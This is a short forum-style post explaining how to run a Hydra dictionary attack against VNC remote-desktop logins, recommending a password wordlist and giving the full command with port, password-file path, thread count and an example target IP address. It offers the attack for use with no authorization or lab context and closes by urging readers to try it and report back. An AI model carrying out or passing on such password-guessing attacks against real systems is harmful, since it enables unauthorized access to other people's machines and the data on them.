#1
Hydra is often the tool of choice. It can perform rapid dictionary attacks against more than 50 protocols, including telnet, vnc, http, https, smb, several databases, and much more

Now, we need to choose a word list. As with any dictionary attack, the wordlist is key. Kali has numerous wordlists built right in.

I use this --> https://github.com/berandal666/Passwords

When u choice ur wordlist run the command in terminal (Kali or Parrot OS)

hydra -s 5900 –P /root/Desktop/pass.txt IP vnc

EXAMPLE

hydra -s 5900 –P /root/Desktop/pass.txt –t 16 245.156.0.13 vnc

When
-P: denotes the path for the password list
-s: denote destination port number
-t: Run TASKS number of connects in parallel
Once the commands are executed it will start applying the dictionary attack.


Try and share what happened Smart